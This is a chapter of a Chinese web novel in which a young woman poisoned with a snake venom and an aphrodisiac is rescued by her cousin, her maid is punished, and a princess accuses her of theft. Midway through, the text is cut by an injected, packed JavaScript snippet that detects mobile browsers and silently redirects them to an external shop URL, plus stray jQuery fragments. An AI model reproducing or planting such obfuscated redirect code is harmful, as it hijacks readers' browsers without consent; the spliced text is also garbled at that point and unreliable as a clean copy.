远福听到里头传来谢择的骂声,忽觉后背一凉,恨不得自己是个聋子。
老天爷啊,主子到底对苓娘子做了什么,能让大公子怒到动手。要知道这兄弟俩这么多年了,可从红过脸。
自己今晚可真是开了眼了,也不知主子如何了。
他听到里头动静息了,便缩在帘子边上,刚站定,谢择便掀帘而出,足尖一点朝密林掠去,怀中似乎抱着个人。
正是苓娘子。
主子还不出来。
他犹豫着要不要进去,刚咬牙走到帘子前头,就听到远处有急促的脚步声传来。
远福刚鼓足的勇气就这么泄了,他探头看去,就见消失已久的元绿跑来,大冷的天却出了一额头汗。
元绿看谢珩身边的长随在这,心中的最后一丝庆幸也无了,脸色煞白。
她跑到远福跟前,气还没喘匀就连声问道:“小姐如何了?”
远福朝帐子努了努嘴道:“你闯大祸了,知不知道?”
元绿大惊失色,神色万分惶恐愧疚,不待远福反应过来,就一把掀开帘子冲了进去,口中大叫着:“小姐!”
“诶诶诶你急什么,你家小姐没事了!”
远福来不及阻拦,赶忙跟上去。
帐内漆黑,元绿被倒在地上的桌椅碎片绊倒,她手脚并用爬起来,眼睛逐渐适应了黑暗,看到了最里头靠床而立,看不清声色的谢珩。
她环顾一周,除了被砸得稀巴烂的陈设外,没看到主子的影子,顿时慌了神。
也顾不得对谢珩的畏惧,她小跑到谢珩跟前,扑通跪下问道:“二公子,我家小姐呢?”
远福看见主子状态不对,心里咯噔一下,将元绿扯起来,小声解释道:“你这丫头可真是急性子,话都不听完就跑。”
“你家小姐被大公子带走治病去了,不会有事。”
元绿的心稍微放下了点,就听到谢珩忽然出声了。
嗓音十分沙哑,带着沉郁阴森之感,比往日更要令人害怕。
“说说看。”
元绿明白这是谢珩叫她解释为何离开帐子,又为何久久不归。
她面色苍白地跪下,垂头不敢看谢珩,尽量让颤抖的声音平稳一些:“回二公子,半个时辰前有和矮个卫兵来寻奴婢,说是奴婢妹妹折柳突发急症,并且出示了令牌和妹妹的亲笔信。”
“奴婢看信上字迹确实是妹妹的,于是失了分寸,独自前往妹妹营帐。去了后,发现妹妹安然无恙,才知自己受了骗。”
“奴婢本想回来,却被猎场的卫兵拦住去路,说是太后赐给清河郡主的镯子丢了,要所有人去看台集合,要搜查。”
“他们不放人,强行将奴婢带去。当时所有人都到营地看台,除了小姐和您,以及王闵公子。听周围的人说您和小姐白日受伤不便劳累,便不用去叫了,王闵公子则是下午就离开了,并不在营地。”
“奴婢想着尽快脱身,谁知林华仪小姐的侍女忽然说我深夜离帐,嫌疑重大,于是奴婢被盘问了许久,还里里外外搜了身,才放奴婢离开。”
说完,元绿跪伏在地上,一旁的远福大气都不敢出,小心翼翼偷瞄谢珩。
半晌,谢珩才开口。
“远福。”
“奴才在!”
“笞二十,送回谢府关入柴房。”
“奴才领命!”
元绿对谢珩重重磕了三个头,颤声道:“奴婢谢过二公子。”
她不怨谢珩,心中知晓这处罚已是看在主子未出事的份上,不然自己怕是赔命都不够。
谢珩绕过她,捡起地上的剑,又对远福吩咐道:“快马回谢府,将府医于明日卯时正刻前带至定国公府的温泉山庄。”
远福弯腰恭敬领命“是,奴才这就去。”
谢珩转身离开。
——
夜明星稀,细雪如盐。
谢择大氅中紧裹着谢苓,在林中飞跃,隔着衣裳都感觉到了她身上灼人的滚烫。
他脑海里回荡着一向冷漠的亲弟对堂妹做的事,下颌紧绷起来,神色复杂。
没想到阿珩居然也对堂妹动了情。
他们是兄妹啊,哪怕实际上没有亲缘关系,那也是名义上的堂妹。阿珩如何下得去手?
他那弟弟,大小就沉稳冷淡,对事事都是运筹帷幄,不甚在意,就连父母,都是无情模样。自己从未想过有一天对方能像正常男子般动心成家。
谢择觉得心堵。自小学得都是四书五经,人伦道德,可他不得不承认,自己跟弟弟都是禽兽,喜欢上了堂妹。
他想起自己看到的旖旎场面,几乎咬碎了牙。
阿珩可以,他为什么不行?既无亲缘,堂妹又无婚嫁,他也可以争上一争。
谢择逐渐说服了自己,抱着谢苓的手紧了紧。
到了密林深处的浅湖,他飘然落下,脱下身上的大氅铺在地上,把半昏迷的谢苓放了上去裹住,自己先去湖边探了探水。
雪天,但好在此湖地处深林,又是活水,因此上面仅结了层薄冰。
他抬掌击碎一方冰层,确保水里没什么伤人的东西,才转回头把身着单衣的谢苓抱起来,慢慢放入湖岸边的浅水里。
刚放进去,谢苓就如小兽般呜咽了声,脸上的潮红逐渐褪去,唇色有些发白。
谢择一眨不眨盯着,有些心疼。
湖水冰冷刺骨,为了解毒却并无它法,只恨那贼人龌龊,居然用如此下流的手段。真当他谢家无人,随意欺辱。
谢择眉眼凌厉,肃杀之气弥漫周身,恨不得此刻就将贼人千刀万剐。
……
约莫一刻后,谢苓觉得浑身又热又冷,说不出的难受,混沌的思绪逐渐回归清晰,她缓缓睁开了眸子。
入目便是积着薄雪,白茫茫的一片湖。
她微微转头,就看到身后一身劲衣蓝袍的谢择。
转念一想,谢苓便明白发生什么了——放她入湖,是为了解毒。
冷意慢慢压倒体内热浪,她觉得包围着她的湖水冰冷刺骨,没忍住打了个寒颤。
“兄长,可否劳烦您拉苓娘一把?”
谢择看她醒来,脸上神色松了几分,刚想说什么,就听到清灵虚弱的女声响起。
他点头道:“堂妹稍等。”
说着,他侧过头,避开谢苓被水沾湿的身子,伸手把她拉了出来。
等确定谢苓上岸,他拿起地上的大氅抖了抖,递过去道:“先凑合穿着御寒。”
谢苓也不推脱,她确实浑身发冷,若不穿着,怕是要得风寒。
裹好大氅,谢择道:“得罪了。”
说罢,她被谢择拦腰抱起,几息间就跃出数十步,速度快得惊人。
不愧是征战沙场,以武力出名的大将军谢择。
很快,二人便回到谢苓的帐子外,门口是白日里为她看过病的老大夫,以及一个未见过的青衣侍女。并不见元绿身影。
谢择放下她道:“先进帐子,让大夫看看。”
谢苓点头,二人一前一后进帐子。
帐内已恢复整洁,烛火明亮,炭盆中烧着上好的银丝碳,温暖亦春。
她脱下大氅递给谢择道:“多谢兄长关怀,苓娘已经无事。”
谢择摆手,肃穆的眉眼软了几分,语气柔和:“小事,堂妹先更衣看诊,我在门口侯着,有事喊我便是。”
说完便出去了。
那面生的侍女随即轻脚进来,屈膝行礼道:“问苓娘子安,奴婢是二公子院里的紫竹,奉命特来伺候您。”
听到谢珩的名字,她忽然觉得有些奇怪,似乎遗忘了什么。
她顿了顿,依旧什么都记不起来,忽而又想起莫名离开不归的元绿,回过神来颔首道:“元绿呢?”
紫竹老实答道:“按府中规矩笞二十,送回去关入柴房等候您发落了。”
谢苓默了默,才道:“近日劳烦紫竹姐姐了。”
元绿之事,她还未了解清楚,但她相信对方的品性。
只是犯了错就得罚,在她身边本就危险重重,如此不谨慎,该让她长长记性。
至于元绿是留是走,得看她自己选择。
她道:“麻烦紫竹姐姐去给府里的人带个话,请个大夫给她看看伤,关着就好,莫要为难。”
紫竹爽快应下。
说罢,谢苓由她伺候着褪下湿漉漉的衣裳,换了身干爽的,又盖了毯子,才唤大夫进来。
大夫规规矩矩行了一礼,放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728048|141295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下药箱,在谢苓手腕上放了条帕子,开始诊脉。
谢苓见大夫眉头越皱越紧,心中有些担忧。
先是蛇毒又是春/药,她该不会落下什么病根?
许久,那大夫收了手,问道:“老夫观您面色苍白,唇色深红,再者脉忽急忽缓,可是中了热毒以冷水解之?”
谢苓点头:“没错。”
大夫叹了口气,语重心长道:“这热毒十分霸道,好在您及时泡了至寒之水,不然日后都会留下烧心之症。”
“只是热毒已解,寒气却入体,再加未清除净的蛇毒,您怕得好生歇息一月,不可动怒,不可操劳。”
谢苓应下:“多谢大夫,我省得了。”
大夫从药箱里拿出一个天蓝色的细口瓷瓶:“这是定国公大人命老夫送来的去腐生肌膏,您应当用得上。”
谢苓道:“替我多谢定国公。”
紫竹接过瓷瓶,打开塞子闻了闻,才将其放在一旁的小几上。
谢苓目光在紫竹脸上顿了一息,心说这侍女当是个精通药理的。
大夫又交代了几句,便告退了。
谢择耳力好,听到大夫说没事,心放下了大半。大夫出来后,他便掀开帘子进去。
谢苓此时神情倦怠地坐在榻边,双眼微阖,葱白的手指轻柔着额侧。小脸苍白,朱唇又红若滴血,看起来病弱可怜。
见他来了,谢苓坐直身子,撑着榻要起来。
谢择忙摆手:“不必多礼,堂妹既无事,我便先回了。”
想了想又补了句:
“我派了亲卫在帐外守着,堂妹不必担忧,好好休息。”
谢苓乖顺点头,声音虚弱无力:“多谢兄长。”
谢择还想问她是否记得之前和阿珩发生的事,但看她面色如常,似乎不记得了,于是把到嘴边的话吞了回去,沉默离开。
他走出帐子,来到猎林边,拿出挂在脖上的骨哨吹响。
不一会,树枝颤动,积雪飞扬,几道人影悄无声息跪在他面前。
谢珩负手而立,浑身肃杀之气,声如冰碴:“查清今夜之事,把涉事之人押入府中地牢,该上的刑都上了。”
几道人影拱手称是,又消失在林中。
……
紫竹给谢苓摸了药膏,又伺候着她喝了姜汤,看着对方睡下后,才在屏风另一侧的榻上浅眠值夜。
谢苓躺在床上,一点睡意也无。
心惊肉跳了大半夜,即使并未出大事,也足以让她清醒。
她捋了捋一整夜的事,结合从紫竹那问到的消息,大致猜到了王闵和林华仪的手段。
只是记忆里有处空缺,怎么都填补不上。
从王闵被救走后,到她出现在湖水,这期间发生的事,一片空白。
想了许久,也只是零零星星几个模糊的画面。
似乎是谢珩推开她,又抱住她?
谢苓自嘲一笑。怎么可能呢,梦里她对这人动心,飞蛾扑火般为他做事,换来的也只是对方在她失去价值后,冷眼相对。
现在几次相助,也不过是怕她这枚棋子被废。
她真的很好奇,谢珩到底要用她做什么?梦里直到死,她好像都没查清楚。
谢苓睁眼到天亮。
晨光微熹时,帐子外传来一阵凌乱的脚步声,紧接着是吵吵嚷嚷的怒骂。
声音越来越近,很显然,是冲她这个最偏僻遥远的帐子而来。
她坐起身来,听清了外头那人的声音。
“你们别拦着本郡主!我倒要看看这个乡巴佬为何藏头露尾不敢出来。”
“郡主别急,苓妹妹怕是有难言之隐。”
“难言之隐?区区蛇毒又不是废了腿,我看就是她偷的镯子!”
“……”
帐外声音气愤至极的,正是昨夜紫竹口中丢了镯子,扣下所有人搜查的清河郡主,秦璇。
而另一个,则是老“朋友”林华仪。
谢苓冷笑,披衣而起,想着如何把林华仪拉下水,就听到嘈杂的声音静了。
她敛神细听,便听到谢珩冷若冬雪的声音。
“郡主若是闲来无事,本官乐意替您向陛下请愿,去麓山书院修习礼仪,陶冶情操。”